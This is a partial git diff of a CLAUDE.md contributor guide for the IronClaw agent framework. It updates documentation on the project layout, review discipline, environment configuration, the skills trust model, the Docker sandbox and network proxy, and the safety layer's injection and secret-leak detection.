Encrypted secret storage +│ +├── setup/ # Onboarding wizard (spec: src/setup/README.md) +│ ├── mod.rs # Entry point, check_onboard_needed() +│ ├── wizard.rs # 7-step interactive wizard +│ ├── channels.rs # Channel setup helpers +│ └── prompts.rs # Terminal prompts (select, confirm, secret) +│ +├── skills/ # SKILL.md prompt extension system +│ ├── mod.rs # Core types (SkillTrust, LoadedSkill) +│ ├── registry.rs # SkillRegistry: discover, install, remove +│ ├── selector.rs # Deterministic scoring prefilter +│ ├── attenuation.rs # Trust-based tool ceiling +│ ├── gating.rs # Requirement checks (bins, env, config) +│ ├── parser.rs # SKILL.md frontmatter + markdown parser +│ └── catalog.rs # ClawHub registry client │ └── history/ # Persistence ├── store.rs # PostgreSQL repositories └── analytics.rs # Aggregation queries (JobStats, ToolStats) + +tests/ +├── *.rs # Integration tests (workspace, heartbeat, WS gateway, pairing, etc.) +├── test-pages/ # HTML→Markdown conversion fixtures (CNN, Medium, Yahoo) +└── e2e/ # Python/Playwright E2E scenarios (see tests/e2e/CLAUDE.md) ``` ## Key Patterns @@ -208,12 +306,16 @@ When designing new features or systems, always prefer generic/extensible archite - Use `RwLock` for concurrent read/write access ### Traits for Extensibility -- `Database` - Add new database backends (must implement all ~60 methods) +- `Database` - Add new database backends (must implement all ~78 methods) - `Channel` - Add new input sources - `Tool` - Add new capabilities - `LlmProvider` - Add new LLM backends - `SuccessEvaluator` - Custom evaluation logic - `EmbeddingProvider` - Add embedding backends (workspace search) +- `NetworkPolicyDecider` - Custom network access policies for sandbox containers +- `Hook` - Lifecycle hook at 6 interception points (BeforeInbound, BeforeToolCall, BeforeOutbound, OnSessionStart, OnSessionEnd, TransformResponse) +- `Observer` - Observability backend (noop/log/multi; future: OpenTelemetry, Prometheus) +- `Tunnel` - Tunnel provider for public internet exposure ### Tool Implementation ```rust @@ -252,6 +354,61 @@ Pending -> InProgress -> Completed -> Submitted -> Accepted \-> Failed ``` +### Code Style + +- Use `crate::` imports, not `super::` +- No `pub use` re-exports unless exposing to downstream consumers +- Prefer strong types over strings (enums, newtypes) +- Keep functions focused, extract helpers when logic is reused +- Comments for non-obvious logic only + +### Review & Fix Discipline + +Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback. + +**Fix the pattern, not just the instance:** When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix. + +**Propagate architectural fixes to satellite types:** If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase. + +**Schema translation is more than DDL:** When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for: +- **Indexes** -- diff `CREATE INDEX` statements between the two schemas +- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`) +- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`) + +**Feature flag testing:** When adding feature-gated code, test compilation with each feature in isolation: +```bash +cargo check # default features +cargo check --no-default-features --features libsql # libsql only +cargo check --all-features # all features +``` +Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature. + +**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically. + +**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate. + +**Transaction safety:** Multi-step database operations (INSERT+INSERT, UPDATE+DELETE, read-then-write) MUST be wrapped in a transaction. Never assume sequential calls are atomic. Before committing DB code, ask: "If this crashes between step N and N+1, is the database consistent?" If not, wrap in a transaction. This applies to both postgres and libsql backends. + +**UTF-8 string safety:** Never use byte-index slicing (`&s[..n]`) on user-supplied or external strings — it panics on multi-byte characters. Use `is_char_boundary()` to walk backwards from the desired length, or iterate with `char_indices()`. Grep for `[..` in changed files to catch violations. + +**Case-insensitive comparisons:** When comparing user-supplied strings (file paths, media types, extension names), always normalize to lowercase first with `.to_ascii_lowercase()`. On case-insensitive filesystems (macOS, Windows), path comparisons must be case-insensitive. File extension checks (`.png`, `.jpg`) and media type checks (`image/jpeg`) are common offenders. + +**Decorator/wrapper trait delegation:** When adding a new method to `LlmProvider` (or any trait with decorator wrappers), you MUST update ALL wrapper types to delegate to their inner provider. Grep for `impl LlmProvider for` to find all implementations. Add a test that exercises the method through the full provider chain (`build_provider_chain()`), not just the base impl. + +**Sensitive data in logs & events:** Tool parameters and outputs MUST be redacted before logging or broadcasting via SSE/WebSocket. Use `redact_params()` before any `tracing::info!`, `JobEvent`, or SSE emission that includes tool call data. Never log raw parameters from tool calls. + +**Test temporary files:** Use the `tempfile` crate for test directories/files. Never hardcode `/tmp/...` paths — they collide in parallel test runs and break on non-Unix platforms. + +**Trust boundaries in multi-process architecture:** Data from worker containers is untrusted. The orchestrator MUST validate: tool domain (never execute `Container`-domain tools on the host), nesting depth (server-side tracking, not client-supplied), and parameter sensitivity (redact before logging/broadcasting). + +**Mechanical verification before committing:** Run these checks on changed files before committing: +- `cargo clippy --all --benches --tests --examples --all-features` -- zero warnings +- `grep -rnE '\.unwrap\(|\.expect\(' ` -- no panics in production +- `grep -rn 'super::' ` -- use `crate::` imports +- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/` +- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`) +- Run `scripts/pre-commit-safety.sh` to catch UTF-8, case-sensitivity, hardcoded /tmp, and logging issues + ## Configuration Environment variables (see `.env.example`): @@ -263,10 +420,14 @@ LIBSQL_PATH=~/.ironclaw/ironclaw.db # libSQL local path (default) # LIBSQL_URL=libsql://xxx.turso.io # Turso cloud (optional) # LIBSQL_AUTH_TOKEN=xxx # Required with LIBSQL_URL -# NEAR AI (required) -NEARAI_SESSION_TOKEN=sess_... -NEARAI_MODEL=claude-3-5-sonnet-20241022 +# NEAR AI (when LLM_BACKEND=nearai, the default) +# Two auth modes: session token (default) or API key +# Session token auth (default): uses browser OAuth on first run +NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this NEARAI_BASE_URL=https://private.near.ai +# API key auth: set NEARAI_API_KEY, base URL defaults to cloud-api.near.ai +# NEARAI_API_KEY=... # API key from cloud.near.ai +NEARAI_MODEL=claude-3-5-sonnet-20241022 # Agent settings AGENT_NAME=ironclaw @@ -297,6 +458,10 @@ SANDBOX_ENABLED=true SANDBOX_IMAGE=ironclaw-worker:latest SANDBOX_MEMORY_LIMIT_MB=512 SANDBOX_TIMEOUT_SECS=1800 +SANDBOX_CPU_LIMIT=1.0 # CPU cores per container +SANDBOX_NETWORK_PROXY=true # Enable network proxy for containers +SANDBOX_PROXY_PORT=8080 # Proxy listener port +SANDBOX_DEFAULT_POLICY=workspace_write # ReadOnly, WorkspaceWrite, FullAccess # Claude Code mode (runs inside sandbox containers) CLAUDE_CODE_ENABLED=false @@ -308,116 +473,47 @@ CLAUDE_CODE_CONFIG_DIR=/home/worker/.claude ROUTINES_ENABLED=true ROUTINES_CRON_INTERVAL=60 # Tick interval in seconds ROUTINES_MAX_CONCURRENT=3 + +# Skills system +SKILLS_ENABLED=true +SKILLS_MAX_TOKENS=4000 # Max prompt budget per turn +SKILLS_CATALOG_URL=https://clawhub.dev # ClawHub registry URL +SKILLS_AUTO_DISCOVER=true # Scan skill directories on startup + +# Tinfoil private inference +TINFOIL_API_KEY=... # Required when LLM_BACKEND=tinfoil +TINFOIL_MODEL=kimi-k2-5 # Default model + +# Tunnel (public internet exposure for webhooks) +TUNNEL_URL=https://abc123.ngrok.io # Static public URL (manual tunnel) +# Or use a managed tunnel provider: +TUNNEL_PROVIDER=none # none (default), cloudflare, tailscale, ngrok, custom +TUNNEL_CF_TOKEN=... # Required for TUNNEL_PROVIDER=cloudflare +TUNNEL_NGROK_TOKEN=... # Required for TUNNEL_PROVIDER=ngrok +# TUNNEL_NGROK_DOMAIN=... # Custom domain (paid ngrok plan) +# TUNNEL_TS_FUNNEL=true # Use tailscale funnel (public) vs serve (tailnet) +TUNNEL_CUSTOM_COMMAND=... # Command with {host}/{port} for custom providers + +# Observability backend +OBSERVABILITY_BACKEND=none # none/noop (default) or log ``` -### NEAR AI Provider +### LLM Providers -Uses the NEAR AI chat-api (`https://api.near.ai/v1/responses`) which provides: -- Unified access to multiple models (OpenAI, Anthropic, etc.) -- User authentication via session tokens -- Usage tracking and billing through NEAR AI - -Session tokens have the format `sess_xxx` (37 characters). They are authenticated against the NEAR AI auth service. +Backends: `nearai` (default), `openai`, `anthropic`, `ollama`, `openai_compatible`, `tinfoil` — set via `LLM_BACKEND`. See [src/llm/CLAUDE.md](src/llm/CLAUDE.md) for per-provider auth and configuration details. ## Database -IronClaw supports two database backends, selected at compile time via Cargo feature flags and at runtime via the `DATABASE_BACKEND` environment variable. - -**IMPORTANT: All new features that touch persistence MUST support both backends.** Implement the operation as a method on the `Database` trait in `src/db/mod.rs`, then add the implementation in both `src/db/postgres.rs` (delegate to Store/Repository) and `src/db/libsql_backend.rs` (native SQL). - -### Backends - -| Backend | Feature Flag | Default | Use Case | -|---------|-------------|---------|----------| -| PostgreSQL | `postgres` (default) | Yes | Production, existing deployments | -| libSQL/Turso | `libsql` | No | Zero-dependency local mode, edge, Turso cloud | +Dual-backend persistence (PostgreSQL + libSQL/Turso). **All new persistence features must support both backends** — see [src/db/CLAUDE.md](src/db/CLAUDE.md) for schema, SQL dialect differences, adding operations, and libSQL limitations. +Implement every new operation in both `src/db/postgres.rs` and `src/db/libsql/mod.rs`. Test in isolation: ```bash -# Build with PostgreSQL only (default) -cargo build - -# Build with libSQL only -cargo build --no-default-features --features libsql - -# Build with both backends available -cargo build --features "postgres,libsql" +cargo check # postgres (default) +cargo check --no-default-features --features libsql # libsql only +cargo check --all-features # both ``` -### Database Trait - -The `Database` trait (`src/db/mod.rs`) defines ~60 async methods covering all persistence: -- Conversations, messages, metadata -- Jobs, actions, LLM calls, estimation snapshots -- Sandbox jobs, job events -- Routines, routine runs -- Tool failures, settings -- Workspace: documents, chunks, hybrid search - -Both backends implement this trait. PostgreSQL delegates to the existing `Store` + `Repository`. libSQL implements native SQLite-dialect SQL. - -### Schema - -**PostgreSQL:** `migrations/V1__initial.sql` (351 lines). Uses pgvector for embeddings, tsvector for FTS, PL/pgSQL functions. Managed by `refinery`. - -**libSQL:** `src/db/libsql_migrations.rs` (consolidated schema, ~480 lines). Translates PG types: -- `UUID` -> `TEXT`, `TIMESTAMPTZ` -> `TEXT` (ISO-8601), `JSONB` -> `TEXT` -- `VECTOR(1536)` -> `F32_BLOB(1536)` with `libsql_vector_idx` -- `tsvector`/`ts_rank_cd` -> FTS5 virtual table with sync triggers -- PL/pgSQL functions -> SQLite triggers - -**Tables (both backends):** - -**Core:** -- `conversations` - Multi-channel conversation tracking -- `agent_jobs` - Job metadata and status -- `job_actions` - Event-sourced tool executions -- `dynamic_tools` - Agent-built tools -- `llm_calls` - Cost tracking -- `estimation_snapshots` - Learning data - -**Workspace/Memory:** -- `memory_documents` - Flexible path-based files (e.g., "context/vision.md", "daily/2024-01-15.md") -- `memory_chunks` - Chunked content with FTS and vector indexes -- `heartbeat_state` - Periodic execution tracking - -**Other:** -- `routines`, `routine_runs` - Scheduled/reactive execution -- `settings` - Per-user key-value settings -- `tool_failures` - Self-repair tracking -- `secrets`, `wasm_tools`, `tool_capabilities` - Extension infrastructure - -### Configuration - -```bash -# Backend selection (default: postgres) -DATABASE_BACKEND=libsql - -# PostgreSQL -DATABASE_URL=postgres://user:pass@localhost/ironclaw - -# libSQL (embedded) -LIBSQL_PATH=~/.ironclaw/ironclaw.db # Default path - -# libSQL (Turso cloud sync) -LIBSQL_URL=libsql://your-db.turso.io -LIBSQL_AUTH_TOKEN=your-token # Required when LIBSQL_URL is set - -# Vector store for workspace semantic search (optional) -# When lancedb: uses LanceDB instead of pgvector/libsql for vector search -VECTOR_BACKEND=builtin # default: use database built-in -# VECTOR_BACKEND=lancedb # requires: cargo build --features lancedb -# LANCEDB_PATH=~/.ironclaw/lancedb # default when VECTOR_BACKEND=lancedb -``` - -### Current Limitations (libSQL backend) - -- **Workspace/memory system** not yet wired through Database trait (requires Store migration) -- **Secrets store** not yet available (still requires PostgresSecretsStore) -- **Hybrid search** uses FTS5 only (vector search via libsql_vector_idx not yet implemented) -- **Settings reload from DB** skipped (Config::from_db requires Store) -- No incremental migration versioning (schema is CREATE IF NOT EXISTS, no ALTER TABLE support yet) -- **No encryption at rest** -- The local SQLite database file stores conversation content, job data, workspace memory, and other application data in plaintext. Only secrets (API tokens, credentials) are encrypted via AES-256-GCM before storage. Users handling sensitive data should use full-disk encryption (FileVault, LUKS, BitLocker) or consider the PostgreSQL backend with TDE/encrypted storage. -- **JSON merge patch vs path-targeted update** -- The libSQL backend uses RFC 7396 JSON Merge Patch (`json_patch`) for metadata updates, while PostgreSQL uses path-targeted `jsonb_set`. Merge patch replaces top-level keys entirely, which may drop nested keys not present in the patch. Callers should avoid relying on partial nested object updates in metadata fields. +Database configuration: see Configuration section above. ## Safety Layer @@ -425,6 +521,7 @@ All external tool output passes through `SafetyLayer`: 1. **Sanitizer** - Detects injection patterns, escapes dangerous content 2. **Validator** - Checks length, encoding, forbidden patterns 3. **Policy** - Rules with severity (Critical/High/Medium/Low) and actions (Block/Warn/Review/Sanitize) +4. **Leak Detector** - Scans for 15+ secret patterns (API keys, tokens, private keys, connection strings) at two points: tool output before it reaches the LLM, and LLM responses before they reach the user. Actions per pattern: Block (reject entirely), Redact (mask the secret), or Warn (flag but allow) Tool outputs are wrapped before reaching LLM: ```xml @@ -433,6 +530,99 @@ Tool outputs are wrapped before reaching LLM: ``` +### Shell Environment Scrubbing + +The shell tool (`src/tools/builtin/shell.rs`) scrubs sensitive environment variables before executing commands, preventing secrets from leaking through `env`, `printenv`, or `$VAR` expansion. The sanitizer (`src/safety/sanitizer.rs`) also detects command injection patterns (chained commands, subshells, path traversal) and blocks or escapes them based on policy rules. + +## Skills System + +Skills are SKILL.md files that extend the agent's prompt with domain-specific instructions. Each skill is a YAML frontmatter block (metadata, activation criteria, required tools) followed by a markdown body that gets injected into the LLM context when the skill activates. + +### Trust Model + +| Trust Level | Source | Tool Access | +|-------------|--------|-------------| +| **Trusted** | User-placed in `~/.ironclaw/skills/` or workspace `skills/` | All tools available to the agent | +| **Installed** | Downloaded from ClawHub registry | Read-only tools only (no shell, file write, HTTP) | + +### SKILL.md Format + +```yaml +--- +name: my-skill +version: 0.1.0 +description: Does something useful +activation: + patterns: + - "deploy to.*production" + keywords: + - "deployment" + max_context_tokens: 2000 +metadata: + openclaw: + requires: + bins: [docker, kubectl] + env: [KUBECONFIG] +--- + +# Deployment Skill + +Instructions for the agent when this skill activates... +``` + +### Selection Pipeline + +1. **Gating** -- Check binary/env/config requirements; skip skills whose prerequisites are missing +2. **Scoring** -- Deterministic scoring against message content using keywords, tags, and regex patterns +3. **Budget** -- Select top-scoring skills that fit within `SKILLS_MAX_TOKENS` prompt budget +4. **Attenuation** -- Apply trust-based tool ceiling; installed skills lose access to dangerous tools + +### Skill Tools + +Four built-in tools for managing skills at runtime: +- **`skill_list`** -- List all discovered skills with trust level and status +- **`skill_search`** -- Search ClawHub registry for available skills +- **`skill_install`** -- Download and install a skill from ClawHub +- **`skill_remove`** -- Remove an installed skill + +### Skill Directories + +- `~/.ironclaw/skills/` -- User's global skills (trusted) +- `/skills/` -- Per-workspace skills (trusted) +- `~/.ironclaw/installed_skills/` -- Registry-installed skills (installed trust) + +### Testing Skills + +- `skills/web-ui-test/` -- Manual test checklist for the web gateway UI via Claude for Chrome extension. Covers connection, chat, skills search/install/remove, and other tabs. + +Skills configuration: see Configuration section above. + +## Docker Sandbox + +The `src/sandbox/` module provides Docker-based isolation for job execution with a network proxy that controls outbound access and injects credentials. + +### Sandbox Policies + +| Policy | Filesystem | Network | Use Case | +|--------|-----------|---------|----------| +| **ReadOnly** | Read-only workspace mount | Allowlisted domains only | Analysis, code review | +| **WorkspaceWrite** | Read-write workspace mount | Allowlisted domains only | Code generation, file edits | +| **FullAccess** | Full filesystem | Unrestricted | Trusted admin tasks | + +### Network Proxy + +Containers route all HTTP/HTTPS traffic through a host-side proxy (`src/sandbox/proxy/`): +- **Domain allowlist** -- Only allowlisted domains are reachable (default: package registries, docs sites, GitHub, common APIs) +- **Credential injection** -- The `CredentialResolver` trait injects auth headers into proxied requests so secrets never enter the container environment +- **CONNECT tunnel** -- HTTPS traffic uses CONNECT method; the proxy validates the target domain against the allowlist before establishing the tunnel +- **Policy decisions** -- The `NetworkPolicyDecider` trait allows custom logic for allow/deny/inject decisions per request + +### Zero-Exposure Credential Model + +Secrets (API keys, tokens) are stored encrypted on the host and injected into HTTP requests by the proxy at transit time. Container processes never have access to raw credential values, preventing exfiltration even if container code is compromised. + +Sandbox configuration: see Configuration section above. + ## Testing Tests are in `mod tests {}` blocks at the bottom of each file. Run specific module tests: @@ -454,174 +644,23 @@ Key test patterns: 4. **WIT bindgen integration** - Auto-extract tool description/schema from WASM modules (stubbed) 5. **Capability granting after tool build** - Built tools get empty capabilities; need UX for granting HTTP/secrets access 6. **Tool versioning workflow** - No version tracking or rollback for dynamically built tools -7. **Webhook trigger endpoint** - Routines webhook trigger not yet exposed in web gateway -8. **Full channel status view** - Gateway status widget exists, but no per-channel connection dashboard +7. **Full channel status view** - Gateway status widget exists, but no per-channel connection dashboard +8. **Observability backends** - Only `log` and `noop` implemented; OpenTelemetry/Prometheus not yet supported -### Completed +## Tool Architecture -- ✅ **Workspace integration** - Memory tools registered, workspace passed to Agent and heartbeat -- ✅ **WASM sandboxing** - Full implementation in `tools/wasm/` with fuel metering, memory limits, capabilities -- ✅ **Dynamic tool building** - `tools/builder/` has LlmSoftwareBuilder with iterative build loop -- ✅ **HTTP webhook security** - Secret validation implemented, proper error handling (no panics) -- ✅ **Embeddings integration** - OpenAI and NEAR AI providers wired to workspace for semantic search -- ✅ **Workspace system prompt** - Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) injected into LLM context -- ✅ **Heartbeat notifications** - Route through channel manager (broadcast API) instead of logging-only -- ✅ **Auto-context compaction** - Triggers automatically when context exceeds threshold -- ✅ **Embedding backfill** - Runs on startup when embeddings provider is enabled -- ✅ **Clippy clean** - All warnings addressed via config struct refactoring -- ✅ **Tool approval enforcement** - Tools with `requires_approval()` (shell, http, file write/patch, build_software) now gate execution, track auto-approved tools per session -- ✅ **Tool definition refresh** - Tool definitions refreshed each iteration so newly built tools become visible in same session -- ✅ **Worker tool call handling** - Uses `respond_with_tools()` to properly execute tool calls when `select_tools()` returns empty -- ✅ **Gateway control plane** - Web gateway with 40+ API endpoints, SSE/WebSocket -- ✅ **Web Control UI** - Browser-based dashboard with chat, memory, jobs, logs, extensions, routines -- ✅ **Slack/Telegram channels** - Implemented as WASM tools -- ✅ **Docker sandbox** - Orchestrator/worker containers with per-job auth -- ✅ **Claude Code mode** - Delegate jobs to Claude CLI inside containers -- ✅ **Routines system** - Cron, event, webhook, and manual triggers with guardrails -- ✅ **Extension management** - Install, auth, activate MCP/WASM extensions via CLI and web UI -- ✅ **libSQL/Turso backend** - Database trait abstraction (`src/db/`), feature-gated dual backend support (postgres/libsql), embedded SQLite for zero-dependency local mode +**Keep tool-specific logic out of the main agent codebase.** The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through `capabilities.json` files (API endpoints, credentials, rate limits, auth setup). Service-specific auth flows, CLI commands, and configuration do not belong in the main agent. -## Adding a New Tool +Tools can be built as **WASM** (sandboxed, credential-injected, single binary) or **MCP servers** (ecosystem of pre-built servers, any language, but no sandbox). Both are first-class via `ironclaw tool install`. Auth is declared in capabilities files with OAuth and manual token entry support. -### Built-in Tools (Rust) - -1. Create `src/tools/builtin/my_tool.rs` -2. Implement the `Tool` trait -3. Add `mod my_tool;` and `pub use` in `src/tools/builtin/mod.rs` -4. Register in `ToolRegistry::register_builtin_tools()` in `registry.rs` -5. Add tests - -### WASM Tools (Recommended) - -WASM tools are the preferred way to add new capabilities. They run in a sandboxed environment with explicit capabilities. - -1. Create a new crate in `tools-src//` -2. Implement the WIT interface (`wit/tool.wit`) -3. Create `.capabilities.json` declaring required permissions -4. Build with `cargo build --target wasm32-wasip2 --release` -5. Install with `ironclaw tool install path/to/tool.wasm` - -See `tools-src/` for examples. - -## Tool Architecture Principles - -**CRITICAL: Keep tool-specific logic out of the main agent codebase.** - -The main agent provides generic infrastructure; tools are self-contained units that declare their requirements through capabilities files. - -### What Goes in Tools (capabilities.json) - -- API endpoints the tool needs (HTTP allowlist) -- Credentials required (secret names, injection locations) -- Rate limits and timeouts -- Auth setup instructions (see below) -- Workspace paths the tool can read - -### What Does NOT Go in Main Agent - -- Service-specific auth flows (OAuth for Notion, Slack, etc.) -- Service-specific CLI commands (`auth notion`, `auth slack`) -- Service-specific configuration handling -- Hardcoded API URLs or token formats - -### Tool Authentication - -Tools declare their auth requirements in `.capabilities.json` under the `auth` section. Two methods are supported: - -#### OAuth (Browser-based login) - -For services that support OAuth, users just click through browser login: - -```json -{ - "auth": { - "secret_name": "notion_api_token", - "display_name": "Notion", - "oauth": { - "authorization_url": "https://api.notion.com/v1/oauth/authorize", - "token_url": "https://api.notion.com/v1/oauth/token", - "client_id_env": "NOTION_OAUTH_CLIENT_ID", - "client_secret_env": "NOTION_OAUTH_CLIENT_SECRET", - "scopes": [], - "use_pkce": false, - "extra_params": { "owner": "user" } - }, - "env_var": "NOTION_TOKEN" - } -} -``` - -To enable OAuth for a tool: -1. Register a public OAuth app with the service (e.g., notion.so/my-integrations) -2. Configure redirect URIs: `http://localhost:9876/callback` through `http://localhost:9886/callback` -3. Set environment variables for client_id and client_secret - -#### Manual Token Entry (Fallback) - -For services without OAuth or when OAuth isn't configured: - -```json -{ - "auth": { - "secret_name": "openai_api_key", - "display_name": "OpenAI", - "instructions": "Get your API key from platform.openai.com/api-keys", - "setup_url": "https://platform.openai.com/api-keys", - "token_hint": "Starts with 'sk-'", - "env_var": "OPENAI_API_KEY" - } -} -``` - -#### Auth Flow Priority - -When running `ironclaw tool auth `: - -1. Check `env_var` - if set in environment, use it directly -2. Check `oauth` - if configured, open browser for OAuth flow -3. Fall back to `instructions` + manual token entry - -The agent reads auth config from the tool's capabilities file and provides the appropriate flow. No service-specific code in the main agent. - -### WASM Tools vs MCP Servers: When to Use Which - -Both are first-class in the extension system (`ironclaw tool install` handles both), but they have different strengths. - -**WASM Tools (IronClaw native)** - -- Sandboxed: fuel metering, memory limits, no access except what's allowlisted -- Credentials injected by host runtime, tool code never sees the actual token -- Output scanned for secret leakage before returning to the LLM -- Auth (OAuth/manual) declared in `capabilities.json`, agent handles the flow -- Single binary, no process management, works offline -- Cost: must build yourself in Rust, no ecosystem, synchronous only - -**MCP Servers (Model Context Protocol)** - -- Growing ecosystem of pre-built servers (GitHub, Notion, Postgres, etc.) -- Any language (TypeScript/Python most common) -- Can do websockets, streaming, background polling -- Cost: external process with full system access (no sandbox), manages own credentials, IronClaw can't prevent leaks - -**Decision guide:** - -| Scenario | Use | -|----------|-----| -| Good MCP server already exists | **MCP** | -| Handles sensitive credentials (email send, banking) | **WASM** | -| Quick prototype or one-off integration | **MCP** | -| Core capability you'll maintain long-term | **WASM** | -| Needs background connections (websockets, polling) | **MCP** | -| Multiple tools share one OAuth token (e.g., Google suite) | **WASM** | - -The LLM-facing interface is identical for both (tool name, schema, execute), so swapping between them is transparent to the agent. +See `src/tools/README.md` for full tool architecture, adding new tools (built-in Rust and WASM), auth JSON examples, and WASM vs MCP decision guide. ## Adding a New Channel 1. Create `src/channels/my_channel.rs` 2. Implement the `Channel` trait -3. Add config in `src/config.rs` -4. Wire up in `main.rs` channel setup section +3. Add config in `src/config/channels.rs` +4. Wire up in `src/app.rs` channel setup section ## Debugging @@ -651,154 +690,20 @@ for that module's behavior. When modifying code in a module that has a spec: | Module | Spec File | |--------|-----------| | `src/setup/` | `src/setup/README.md` | - -## Code Style - -- Use `crate::` imports, not `super::` -- No `pub use` re-exports unless exposing to downstream consumers -- Prefer strong types over strings (enums, newtypes) -- Keep functions focused, extract helpers when logic is reused -- Comments for non-obvious logic only - -## Review & Fix Discipline - -Hard-won lessons from code review -- follow these when fixing bugs or addressing review feedback. - -### Fix the pattern, not just the instance -When a reviewer flags a bug (e.g., TOCTOU race in INSERT + SELECT-back), search the entire codebase for all instances of that same pattern. A fix in `SecretsStore::create()` that doesn't also fix `WasmToolStore::store()` is half a fix. - -### Propagate architectural fixes to satellite types -If a core type changes its concurrency model (e.g., `LibSqlBackend` switches to connection-per-operation), every type that was handed a resource from the old model (e.g., `LibSqlSecretsStore`, `LibSqlWasmToolStore` holding a single `Connection`) must also be updated. Grep for the old type across the codebase. - -### Schema translation is more than DDL -When translating a database schema between backends (PostgreSQL to libSQL, etc.), check for: -- **Indexes** -- diff `CREATE INDEX` statements between the two schemas -- **Seed data** -- check for `INSERT INTO` in migrations (e.g., `leak_detection_patterns`) -- **Semantic differences** -- document where SQL functions behave differently (e.g., `json_patch` vs `jsonb_set`) - -### Feature flag testing -When adding feature-gated code, test compilation with each feature in isolation: -```bash -cargo check # default features -cargo check --no-default-features --features libsql # libsql only -cargo check --all-features # all features -``` -Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature. - -### Mechanical verification before committing -Run these checks on changed files before committing: -- `grep -rnE '\.unwrap\(|\.expect\(' ` -- no panics in production -- `grep -rn 'super::' ` -- use `crate::` imports -- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/` +| `src/workspace/` | `src/workspace/README.md` | +| `src/tools/` | `src/tools/README.md` | +| `src/agent/` | `src/agent/CLAUDE.md` | +| `src/channels/web/` | `src/channels/web/CLAUDE.md` | +| `src/db/` | `src/db/CLAUDE.md` | +| `src/llm/` | `src/llm/CLAUDE.md` | +| `tests/e2e/` | `tests/e2e/CLAUDE.md` | ## Workspace & Memory System -Inspired by [OpenClaw](https://github.com/openclaw/openclaw), the workspace provides persistent memory for agents with a flexible filesystem-like structure. +OpenClaw-inspired persistent memory with a flexible filesystem-like structure. Principle: "Memory is database, not RAM" -- if you want to remember something, write it explicitly. Uses hybrid search combining FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion. -### Key Principles +Four memory tools for LLM use: `memory_search` (hybrid search -- call before answering questions about prior work), `memory_write`, `memory_read`, `memory_tree`. Identity files (AGENTS.md, SOUL.md, USER.md, IDENTITY.md) are injected into the LLM system prompt. -1. **"Memory is database, not RAM"** - If you want to remember something, write it explicitly -2. **Flexible structure** - Create any directory/file hierarchy you need -3. **Self-documenting** - Use README.md files to describe directory structure -4. **Hybrid search** - Combines FTS (keyword) + vector (semantic) via Reciprocal Rank Fusion +The heartbeat system runs proactive periodic execution (default: 30 minutes), reading `HEARTBEAT.md` and notifying via channel if findings are detected. -### Filesystem Structure - -``` -workspace/ -├── README.md <- Root runbook/index -├── MEMORY.md <- Long-term curated memory -├── HEARTBEAT.md <- Periodic checklist -├── IDENTITY.md <- Agent name, nature, vibe -├── SOUL.md <- Core values -├── AGENTS.md <- Behavior instructions -├── USER.md <- User context -├── context/ <- Identity-related docs -│ ├── vision.md -│ └── priorities.md -├── daily/ <- Daily logs -│ ├── 2024-01-15.md -│ └── 2024-01-16.md -├── projects/ <- Arbitrary structure -│ └── alpha/ -│ ├── README.md -│ └── notes.md -└── ... -``` - -### Using the Workspace - -```rust -use crate::workspace::{Workspace, OpenAiEmbeddings, paths}; - -// Create workspace for a user -let workspace = Workspace::new("user_123", pool) - .with_embeddings(Arc::new(OpenAiEmbeddings::new(api_key))); - -// Read/write any path -let doc = workspace.read("projects/alpha/notes.md").await?; -workspace.write("context/priorities.md", "# Priorities\n\n1. Feature X").await?; -workspace.append("daily/2024-01-15.md", "Completed task X").await?; - -// Convenience methods for well-known files -workspace.append_memory("User prefers dark mode").await?; -workspace.append_daily_log("Session note").await?; - -// List directory contents -let entries = workspace.list("projects/").await?; - -// Search (hybrid FTS + vector) -let results = workspace.search("dark mode preference", 5).await?; - -// Get system prompt from identity files -let prompt = workspace.system_prompt().await?; -``` - -### Memory Tools - -Four tools for LLM use: - -- **`memory_search`** - Hybrid search, MUST be called before answering questions about prior work -- **`memory_write`** - Write to any path (memory, daily_log, or custom paths) -- **`memory_read`** - Read any file by path -- **`memory_tree`** - View workspace structure as a tree (depth parameter, default 1) - -### Hybrid Search (RRF) - -Combines full-text search and vector similarity using Reciprocal Rank Fusion: - -``` -score(d) = Σ 1/(k + rank(d)) for each method where d appears -``` - -Default k=60. Results from both methods are combined, with documents appearing in both getting boosted scores. - -**Backend differences:** -- **PostgreSQL:** `ts_rank_cd` for FTS, pgvector cosine distance for vectors, full RRF -- **libSQL:** FTS5 for keyword search only (vector search via `libsql_vector_idx` not yet wired) - -### Heartbeat System - -Proactive periodic execution (default: 30 minutes): - -1. Reads `HEARTBEAT.md` checklist -2. Runs agent turn with checklist prompt -3. If findings, notifies via channel -4. If nothing, agent replies "HEARTBEAT_OK" (no notification) - -```rust -use crate::agent::{HeartbeatConfig, spawn_heartbeat}; - -let config = HeartbeatConfig::default() - .with_interval(Duration::from_secs(60 * 30)) - .with_notify("user_123", "telegram"); - -spawn_heartbeat(config, workspace, llm, response_tx); -``` - -### Chunking Strategy - -Documents are chunked for search indexing: -- Default: 800 words per chunk (roughly 800 tokens for English) -- 15% overlap between chunks for context preservation 